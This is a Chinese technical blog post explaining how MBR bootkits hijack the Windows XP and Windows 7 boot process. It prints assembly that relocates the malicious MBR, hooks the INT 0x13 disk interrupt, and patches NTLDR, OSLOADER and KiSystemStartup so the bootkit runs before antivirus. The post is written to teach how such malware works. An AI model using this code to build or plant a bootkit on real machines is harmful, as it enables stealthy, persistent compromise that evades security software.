• 叙Windows平台下基于MBR和UEFI的bootkit(一)--以MBR为例


      安全的对抗首先在权限方面,权限高的进程对权限低的权限就是就是降维打击,无往不利。当权限相同时,启动得早便为王。所谓的bootkit也就是基于这个思路设计的一种复杂病毒。它优先于Windows系统启动,自然也就优先于杀毒软件启动的时间。鉴于国内对bootkit的文章不多,本文想介绍一下bootkit的具体技术细节。为了保证内容的梯度和完整度,其中基于MBR的rootkit分别以WindowsXp和Win7为例,而基于UEFI的bootkit则可以在Windows7以上版本(7,8,10)的运行。

    一:基于MBR的bootkit

    1.1:windowsXP的系统加载流程

      运行流程如下图:

      BIOS:BIOS代码存在于主板上的EEPROM(Electronically Erased Programmable Read Only Memory)芯片中。大多数PC都会执行一些称为“Shadow”的操作,它们从RAM复制并运行BIOS代码(地址为0x000F0000),RAM比ROM快,因此可以加快启动速度。BIOS将MBR从引导设备的第一个扇区读入地址0x7C00。并提供一系列低级功能,称为BIOS中断,可通过“int”指令访问实模式代码。

      MBR(Master Boot Record):MBR是引导设备的绝对第一扇区,大小为1扇区(512字节),此代码由BIOS加载到0x7C00,然后在实模式下执行。然而,MBR的大部分是代码; MBR内部是一个表(实际主引导记录),该表由4 x 16字节条目组成,并从偏移量0x1BE开始进入MBR。一旦执行,代码将查看分区表,找到活动分区,然后将分区的第一个扇区(VBR)读入0x7C00然后执行它。 由于MBR将VBR读入0x7C00,因此它将在事先重新定位,以避免覆盖自身。 MBR的最后2个字节是引导签名(0x55,0xAA)。读写MBR的代码很简单,如下:

    HRESULT GetSigned(CAtlStringW strPhysicalDrive, PUCHAR ulSigned) {
        HRESULT hr = S_OK;
        HANDLE hDevice;
        MBR Mbr = { 0 };
        do {
            hDevice = CreateFileW(strPhysicalDrive.GetBuffer(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
            if (hDevice == INVALID_HANDLE_VALUE) {
                hr = S_FALSE;
                break;
            }
            DWORD dwRead = 0;
            if (!ReadFile(hDevice, (LPVOID)&Mbr, sizeof(MBR), &dwRead, NULL)) {
                hr = S_FALSE;
                break;
            }
            if (memcpy_s((void*)ulSigned, sizeof(ulSigned) / sizeof(ulSigned[0]), (void*)Mbr.ulSinged, sizeof(Mbr.ulSinged) / sizeof(Mbr.ulSinged[0]))) {
                hr = S_FALSE;
                break;
            }
        } while (0);
        CloseHandle(hDevice);
    
        /*
        for (int i = 0; i < 4; i++) {
        printf("%02x", ulSigned[i]);
        }
        */
        return hr;
    }

      VBR(Volume Boot Record):VBR是可引导分区的第一个扇区,就像MBR一样,它的大小为1扇区(512字节)。它由MBR在地址0x7C00(实模式)下加载并执行。 VBR的前两个字节是跳转指令,跳过Bios参数块(BPB)并进入主代码。在VBR的前2个字节之后是BPB,此块包含有关驱动程序和分区的一些信息(主文件表的位置,驱动器的磁盘/磁头/扇区设置,卷序列号等)。除了从BPB收集一些信息之外,VBR没有做太多其他事情,然后将分区的前16个扇区读入内存(通常从地址0xD000开始)。 •分区的前16个扇区称为$BOOT,尽管所有16个扇区都被加载到内存中,但只使用了7个扇区(1个用于VBR,6个用于IPL)。

      IPL(Inital Program Loader):IPL最大可达15个扇区(7680字节),位于磁盘上的VBR(分区的扇区1-15)之后,此代码从地址0xD000开始,然后在实模式下运行。 Windows XP IPL仅使用15个已分配扇区中的6个。 IPL的工作是在磁盘上定位NTDLR,然后将其读入内存。 IPL将始终读取并执行地址0x20000处的NTLDR。

      NTLDR(New Technology Loader):NTLDR是一个“实际”文件,驻留在C:NTLDR并具有属性FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM(MBR,VBR和IPL无法从文件系统访问),它在地址0x20000处执行。TLDR由2个主要部分组成:1.NTLDR - 16位实模式和保护模式代码的混合,可在两种模式之间切换,以便使用BIOS中断。 2.OSLOADER.exe - 一个PE文件(编译为驱动程序),由32位代码组成,在保护模式下执行。NTLDR将设置GDT和IDT,然后进入保护模式(分页仍未设置)。OSLOADER.exe从NTLDR中提取并加载其入口点0x401000,这是因为OSLOADER是PE文件,如果位于0x401000,则不需要重定位表。NTLDR调用0x401000(OSLOADER入口点)。

      OSLoader.exe:OSLOADER是一个PE文件,它被编译为内核驱动程序,但它有点像普通文件而不是驱动程序,因为内核尚未加载。 虽然OSLOADER是PE文件,但PE头不会加载到内存中,只会加载到代码中。OSLOADER中的代码做了很多,所以我只强调主要内容:

        i:启用分页并设置页表。

        ii:使用NTDETECT检测是否存在运行Windows所需的硬件。

        iii:解析boot.ini以获取启动设置,如果是双启动,请询问用户他们希望加载哪个操作系统。 

        iV:加载启动驱动程序。

        V:在调用KiSystemStartup(ntoskrnl入口点)之前,找到ntoskrnl.exe并将其加载到内存中。

      ntoskrnl.exe:Ntoskrnl是位于C:WindowsSystem32 toskrnl.exe的PE文件,它将由OSLoader.exe加载(加载地址将在 service pack地址中变化),而ntoskrnl.exe的入口点是KiSystemStartUp,它负责初始化内核并启动操作系统,然后执行由OSLoader.exe架子啊的启动驱动程序。当内核初始化完成后,操作系统将准备好登陆。

      以上便是整个系统启动的调用流程。

    1.2 :根据 tinyPXB讲解基于MBR的bootkit的运行机理

      bootkit在tinyPXB中分为四个部分:1.MBR-负责加载其它三个组件 2.Loader16.bin bootkit的实模式组件 3.Loader32.bin bookit的32位保护模式组件 4.Driver32.sys 加载的驱动,这个不在本文的讲解范围。

    1.2.1 MBR代码流程

      bootkit MBR最初将在0x7C00加载并执行;一旦执行它就会将自身复制到地址0x80000并从那里执行。代码如下:

    ;=============================================================================================
    ;Move this code from 0x7C00 to 0x80000 then call "realstart" at new address
    ;=============================================================================================
    start:
    	cld
    	push 0x00
    	pop ds
    	mov sp, 0x7C00	;Stack grows downwards from address 0x7C00
    	mov si, sp	
    	mov di, 0x00
    	mov cx, 0x100
    	push 0x8000
    	pop es
    	rep movsw		;Copy code from DS:SI to ES:DI (0000:7C00 to 8000:0000)
    	push 0x8000		;Segment to retf to
    	push realstart	;Offset to retf to
    	retf			;Jump to code at new address
    ;=============================================================================================
    ;Use int 0x13 to read loader16, loader32 and driver32 from the floppy disk, we have to use 
    ;normal read instead of extended read because it doesnt seem to work with floppy disks
    ;=============================================================================================
    realstart:
    	push es
    	pop ds
    	
    	call LoadLdrs
    	test ax, ax
    	je Failed
    	
    	push 0x8020
    	push 0x0000
    	retf 		;Jump to loader16 (0x80200)
    	
    Failed:
    	jmp $		;Infinite loop
    	ret
    

       一旦到达0x8000,MBR将解析软盘的12位文件分配表(FAT),寻找LOADER16BIN,LOADER32BIN和DRIVER32SYS。 MBR将使用INT 0x13,AH = 2(标准磁盘读取)BIOS中断将磁盘中的文件读入内存。我们不能在软盘上使用扩展读取,因此MBR还会将逻辑块地址转换为Cylinder-Head-Sector值。 Loader16将加载到地址0x80200,Loader32将加载到地址0x80400,driver32将加载到地址0x8100。一旦MBR完成加载bootkit组件,它将执行转移到0x80200(Loader16)。

    1.2.2 Loader16

      Loader16将从地址0x80200执行,并将完全在实模式下执行。

      代码将负责挂钩INT 0x13(磁盘读取中断)和处理调用,以及挂钩NTLDR中的代码和OSLOADER.exe的入口点。

      INT 0x13是BIOS提供的磁盘服务中断。 MBR,VBR,IPL和NTLDR将使用它来读取磁盘中的扇区以及其他内容。挂钩int 0x13代码如下:

    start:
    	push cs		;Set up segments
    	pop ds	
    	push cs
    	pop es
    	
    	mov ah, 0x42	;Extended Disk Read
    	mov dl, 0x80	;Hard Disk 1
    	mov si, DAP1	;Pointer to Data Access Packet
    	int 0x13
    	jc StartFailed
    	
    	mov ax, [ss:0x4C]
    	mov word [Old_Int13+1], ax		 ;Store original int 0x13 offset
    	mov ax, [ss:0x4E]
    	mov word [Old_Int13+3], ax		 ;Store original int 0x13 segment
    	
    	mov word [ss:0x4C], Int13Handler ;Our int 0x13 handler offset
    	mov word [ss:0x4E], 0x8020		 ;Our code segment
    	
    	push 0x00	;Reset es and ds segment
    	pop es
    	push es
    	pop ds
    	
    	push es
    	push 0x7C00
    StartFailed:

      通过挂钩磁盘中断,我们可以扫描MBR,VBR,IPL或NTLDR读取的每个扇区。我们通过搜索特征码(FC F3 67 66 A5 66 8B 4E 0C 66 83 E1 03,此代码 NTLDR使用它将OSLOADER加载到内存中),当IPL使用INT 0x13将NTLDR读入内存时,将找到特征码并在“rep movsw”之后进行HOOK。(在OSLOADER加载到0x401000之后)。Hook OSloader代码如下:

    HookMoveOSLoader:
    	push ds
    	push fs
    	push 0x8020
    	pop fs
    	push 0x00
    	pop ds
    	mov dx, word [fs:Old_Int13+1]	;Store original int 0x13 offset into dx
    	mov [0x4C], dx					;Restore int 0x13 offset
    	mov dx, word [fs:Old_Int13+3]	;Store original int 0x13 segment into dx
    	mov [0x4E], dx					;Restore int 0x13 segment
    	xor edi, edi ;Make sure the high word of edi is null
    	mov di, ax	 ;ax still contains the address signature was found at
    	add di, 0x05 ;We hook 5 bytes into the signature (just after rep movsw
    	push es
    	pop fs
    	mov byte [fs:di+0], 0x9A	;Far call
    	mov word [fs:di+1], 0x600	;Jump to address 0x00000600
    	mov word [fs:di+3], 0x0008	;GDT descriptor 0x01 (32-bit code segment base: 0x00000000
    	mov di, 0x600				;We store the 32-bit relative jump at 0x600
    	mov byte [di], 0xE9			;relative 32-bit jump to HookOSLoader
    	mov dword [di+1], (0x7FDFB)	;Offset to loader32 (0x605 + 0x7FFFB = 0x80400)
    	pop fs
    	pop ds
    	retn

      所有代码都是从我们的软盘运行的。 Loader16会将真正的Windows MBR从硬盘驱动器读入0x7C00(就像BIOS一样),挂起INT 0x13,然后执行windows MBR。

    1.2.3 Loader32

      Loader16中,我们在NTLDR中进行了HOOK,当运行到这个HOOk的时候,我们将删除HOOK,然后扫描OSLoder对其进行挂钩,扫描一下特征码( 51 6A 01 52 50 6A 05 E8),这段代码后面跟随的是BlAllocateDescriptor的地址,这个函数用于分配内存,当Loader尝试调用BlAllocateDescriptor时,它将运行Hook代码,现在让系统继续运行。一旦NTLDR完成并且OSLOADER开始执行,它将调用被我们Hook住的BlAllocateDescriptor。由于BlAllocateDescriptor已经可以使用了,删除钩子并对BlAllocateDescriptor进行3次调用。

      i:第一个调用是分配一些内存来移动Loader32,这是因为当启用分页时,我们当前执行的内存将被分页。

      ii:第二个调用是为我们的驱动程序分配一些内存来运行,因为存储驱动程序PE文件的地址也将被分页,我们现在也可以将驱动程序的PE文件映射到内存中,准备执行。

      iii:最后一次调用调用没有被Hook情况下调用分配的内存。就在我们的BlAllocateDescriptor将执行转移回OSLOADER之前,我们将把loader32重新定位到分配的内存.

      然后在OSLOADER中执行另一个字节扫描。•这次我们扫描以下字节:8B F0 85 F6 74 11 68 4C 23这些对应于指令:

        mov esi,eax

        test esi,esi

        jz 0x11

        push 234Ch

        OSLOADER使用这些指令之后的代码直接调用在ntoskrnl中的KiSystemStartup,就在“mov esi,eax”之前是一个push,然后是一个调用,push将把“LOADER_PARAMETER_BLOCK”推送到堆栈,我们将把调用的地址改为指向我们的代码。 •KiSystemStartup挂钩将指向我们复制到已分配内存的loader32中的代码(0x80000000范围内的某处)。

       现在我们将控制权返回给OSLOADER,以便继续加载操作系统。加载操作系统之后,由于之前已经对系统做了挂钩。所以我们可以你在加载系统的第一时间获取控制流,从而可以对系统为所欲为。

     1.3:windows7的系统加载流程

      1:首先,MBR加载NT Boot Sector,NT boot Sector可以读取FAT32和NTFS,它将读取在 system32或者system32/boot目录下的BOOTMGR.exe函数。

      2:bootmgr.exe有一个16字节的校验头,当检验成功后,将将其映射到0x40000的位置,并以BmMain函数开始。

      3:然后BootMgr.exe检查休眠状态。一但发现休眠,则加载winresume.exe并继续运行。

      4:BootMgr.exe加载BCD数据库,并且遍历boot入口。

      5:选择了Boot入口后,使用BmLanuchBootEntry函数进行加载。然后CPU进入64位模式并跳转到winload.exe。

      6:winload.exe首先加载system的hive文件,然后加载ntoskrnl.exe,HAL.dll,依赖和关键驱动

      7:创建PSLoadModuleList和LOADER_PARAMETER_BLOCK结构,其中包含了内核映射和选项列表等信息

      8:然后使用OslArchTranslateToKernel函数进行内核(ntoskrnol.exe)的初始化流程。

      总体流程如图所示:

      其中内核初始化一共分为两步,这于本篇内容没有太大关系,略过。

     二:vbookit2.0原理

      windows7 x64上,我们需要在不被Patch Guard和驱动签名检测的前提下,过掉所有的安全功能。所以我们只能在内存中打补丁。和tinyXp一样,文件加载的时候打补丁,一步步前进,直到到达内核为止。原理基本同tinyXP,所以不多解释,具体可参考源码。

      

      

      

     

  • 相关阅读:
    初学者bootstrap(五)JavaScript插件(上)在路上(6)
    初学者bootstrap(三)下载与安装在路上(7)
    Viewport响应式 Web 设计在路上(13)
    初学者动画(一)在路上(3)
    svn添加强制注释,precommit结合python
    ftpclient卡死问题
    @Transactional失效的问题
    javamail发送二进制流附件的问题
    springmvc附件上传核心代码
    kafka集群配置与测试
  • 原文地址:https://www.cnblogs.com/0xJDchen/p/9614975.html
Copyright © 2020-2023  润新知